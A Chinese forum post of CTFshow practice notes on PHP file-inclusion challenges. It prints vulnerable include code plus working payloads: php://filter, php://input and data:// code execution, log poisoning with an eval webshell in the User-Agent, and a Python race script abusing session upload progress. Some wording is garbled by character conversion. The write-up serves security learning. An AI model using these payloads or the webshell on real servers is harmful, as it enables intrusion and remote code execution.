文件包罗(CTFshow 刷题记载)持续更新

打印 上一主题 下一主题

主题 1781|帖子 1781|积分 5343

实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件

  • 每个须要过滤的地方,进行一次过滤的编写
  • 每个须要过滤的地方,进行一次文件包罗调用过滤函数
  • 配合文件上传进行getshell,图片带有脚本后门代码,包罗这个图片,脚本代码就被触发
  • 配合日记文件进行getshell,日记会记载访问UA
  1. if(isset($_GET['file'])){
  2.     $file = $_GET['file'];
  3.     include($file);
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
复制代码

file:// 用于访问本地文件体系,其格式为
file:// [文件的绝对路径和文件名]
php:// 访问各个输入/输出流(I/O streams),其基本格式为php://filter​和php://input​
php://filter用于读取源码。
我们可以以base64编码的方式读取指定文件的源码:如
  1. ?file=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
php://input用于执行php代码。?file=php://input
post传参 <?php phpinfo(); ?>

例题二





  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-09-16 10:52:43
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-09-16 10:54:20
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. if(isset($_GET['file'])){
  12.     $file = $_GET['file'];
  13.     include($file);
  14. }else{
  15.     highlight_file(__FILE__);
  16. }
复制代码
想要用这个必须要知道绝对路径,否则如下图


方法一:filter伪协议

  1. ?file=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
方法二:input协议file=php://input

post传参
<?php phpinfo(); ?>

方法三:data协议

​data://​ 协议的格式为 data://[<MIME-type>][;charset=<encoding>][;base64],<data>​,具体填写方式如下:
1. 基本结构



  • ​<MIME-type>​:指定命据的类型(如 text/plain​、image/png​ 等)。若省略,默认为 text/plain​。
  • ​charset=<encoding>​:可选,指定文本数据的字符编码(如 charset=UTF-8​)。仅对文本类 MIME 类型有效。
  • ​;base64​:可选,表现 <data>​ 部分为 Base64 编码格式。若省略,数据需直接明文填写。
  • ​<data>​:实际数据内容(明文或 Base64 编码后的字符串)。
  1. ?file=data://text/plain,<?php system('tac flag.php');?>
复制代码

例题三



  1. if(isset($_GET['file'])){
  2.     $file = $_GET['file'];
  3.     $file = str_replace("php", "???", $file);
  4.     include($file);
  5. }else{
  6.     highlight_file(__FILE__);
  7. }
复制代码
审计源码可知存在巨细写绕过
但是巨细写绕过对input和data协议有用,对filter协议没有用
方法同例题1
  1. ?file=data://text/plain,<?Php system('tac f*');?>
复制代码

例题四


  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-09-16 11:25:09
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-09-16 11:26:29
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. if(isset($_GET['file'])){
  12.     $file = $_GET['file'];
  13.     $file = str_replace("php", "???", $file);
  14.     $file = str_replace("data", "???", $file);
  15.     include($file);
  16. }else{
  17.     highlight_file(__FILE__);
  18. }
复制代码
对php和data协议进行了绕过,那么我选择input协议

例题五


  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-09-16 11:25:09
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-09-16 15:51:31
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. if(isset($_GET['file'])){
  12.     $file = $_GET['file'];
  13.     $file = str_replace("php", "???", $file);
  14.     $file = str_replace("data", "???", $file);
  15.     $file = str_replace(":", "???", $file);
  16.     include($file);
  17. }else{
  18.     highlight_file(__FILE__);
  19. }
复制代码
这次多了限制,我们可以使用日记包罗getshell方法

日记文件是服务器用来记载各种操作和访问信息的文件,好比网站服务器会记任命户的访问哀求、泉源地址、使用的浏览器信息等。如果攻击者能够在发送给网站的哀求(好比网址、用户代理信息等)中插入恶意代码,这些代码就会被服务器记载到日记文件中。当服务器后续读取或处理这些日记文件时,如果存在漏洞,恶意代码就可能被当作正常的代码执行,从而实现攻击目的,好比获取服务器的控制权(即“getshell”)。
确定服务器类型

在进行攻击之前,须要先判断目的网站使用的是哪种服务器软件,因为差别的服务器软件日记文件的存放位置和格式可能差别。



详细攻击步骤解析(利用PHP Session上传进度 + 条件竞争)

1. 漏洞背景

题目代码存在文件包罗漏洞,但过滤了php​、data​、:​、.​等关键字符,无法直接包罗恶意文件。需利用PHP的session.upload_progress​机制和条件竞争绕过限制

2. 核心原理





  • Apache服务器:它是一种常见的Web服务器软件,它的日记文件通常存放在/var/log/apache/access.log​路径下。这个文件会记载网站的访问记载,包括用户哀求的网址、时间、状态码等信息。
  • Nginx服务器:这也是另一种常用的Web服务器软件,它的日记文件一样平常存放在/var/log/nginx/access.log​和/var/log/nginx/error.log​路径下。access.log​记载正常访问信息,error.log​记载错误信息。

  • 可见使用Nginx服务器
    1. ?file=/var/log/nginx/access.log
    复制代码
    在user-agent添加木马
    1. <?php @eval($_REQUEST['cmd']);?>
    复制代码
    antsword毗连

    例题六
  • 过滤了冒号,伪协议不好用了,于是,这个题还是用web80的getshell方法,得到flag
  • 例题七

  • 该死的只能在十一点半后才能做,只能把电脑带回去了
    web82 -86 都使用PHP_SESSION_UPLOAD_PROGRESS进行文件包罗
    原理表明
  • 文件上传进度监控开启该选项后,用户上传文件时可以通过 POST​ 哀求实时检察上传进度。
  • Session 代码注入我们可以在服务器会话(session​)中写入待执行的代码,使其在后续流程中被执行。
  • 自定义 Session ID用户可以通过修改 Cookie​(如 PHPSESSID=flag​)自定义 Session ID​,PHP 会据此在服务器上生成对应的 Session 文件(如 /tmp/sess_flag​)。文件名中的 sess_​ 前缀是固定的,但后续部分(如 flag​)可由用户控制。
  • Session 文件包罗执行要触发代码执行,需通过文件包罗(如 include​)加载这个 Session 文件。
  • 主动清算机制 默认设置下,PHP 的 session.upload_progress.cleanup​ 功能会在读取完全部 POST​ 数据后主动删除进度信息,导致注入的代码被扫除。
  • 条件竞争利用
    为了绕过清算机制,须要利用条件竞争(Race Condition):在体系主动清算前,争先完成文件包罗并执行代码。这种手法在文件上传漏洞利用中很常见,本质是“赶在体系删除前抢占执行权”
  • Session上传进度机制
    PHP在上传文件时,若启用session.upload_progress.enabled​(默认开启),会在$_SESSION​中记载上传进度,并生成临时Session文件(如/tmp/sess_<HPSESSID>​)
     
    用户可控Session ID
    通过Cookie: PHPSESSID=evil
    ​可指定Session文件名(如/tmp/sess_evil​),并注入恶意代码到Session文件

       

    • 条件竞争
      默认session.upload_progress.cleanup=On​会立即删除Session文件,需在删除前争先包罗该文件执行代码

       
    3. 详细攻击步骤

    步骤1:构造恶意Session文件

       

    • 设置自定义Session ID
      在哀求中注入Cookie,控制Session文件名:
      1. Cookie: PHPSESSID=evil
      复制代码
      PHP会生成文件:/tmp/sess_evil​。
    • 触发Session写入
      通过上传表单的PHP_SESSION_UPLOAD_PROGRESS​字段写入恶意代码:
      1. <form action="http://target.com/" method="POST" enctype="multipart/form-data">
      2.     <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat /flag'); ?>" />
      3.     <input type="file" name="file" />
      4.     <input type="submit" />
      5. </form>
      复制代码
      结果:/tmp/sess_evil​内容变为:
      1. upload_progress_<?php system('cat /flag'); ?>
      复制代码
    步骤2:利用文件包罗漏洞

       

    • 包罗Session文件
      由于.​被过滤,需直接包罗路径:
      1. GET /?file=/tmp/sess_evil
      复制代码
      问题:PHP会立即删除该文件,需条件竞争。
    • 主动化竞争脚本
      使用Python并发哀求:
           

      • 线程1:持续上传文件,保持Session文件存在。
      • 线程2:高频哀求/?file=/tmp/sess_evil​,在文件删除前执行代码。
      示例脚本:
      1. import requests
      2. import threading
      3. target = "http://target.com/"
      4. session = requests.Session()
      5. session.cookies.set("PHPSESSID", "evil")
      6. def upload():
      7.     while True:
      8.         files = {"file": ("test.txt", "data")}
      9.         data = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat /flag'); ?>"}
      10.         session.post(target, files=files, data=data)
      11. def include():
      12.     while True:
      13.         r = session.get(f"{target}?file=/tmp/sess_evil")
      14.         if "flag{" in r.text:
      15.             print(r.text)
      16.             break
      17. t1 = threading.Thread(target=upload)
      18. t2 = threading.Thread(target=include)
      19. t1.start()
      20. t2.start()
      复制代码
    步骤3:绕过过滤

       

    • 路径绕过
      若/tmp/sess_evil​被过滤,实验:
      1. GET /?file=/tmp/sess_evil
      2. /.
      复制代码
      或利用/proc/self/fd/<FD>​(需情况支持)
       
    4. 关键点总结

       

    • Session控制:通过PHPSESSID​指定文件名,注入恶意代码。
    • 竞争窗口:在PHP删除前包罗文件,需毫秒级并发哀求。
    • 绕过过滤:直接路径包罗,制止使用被过滤字符


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

傲渊山岳

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表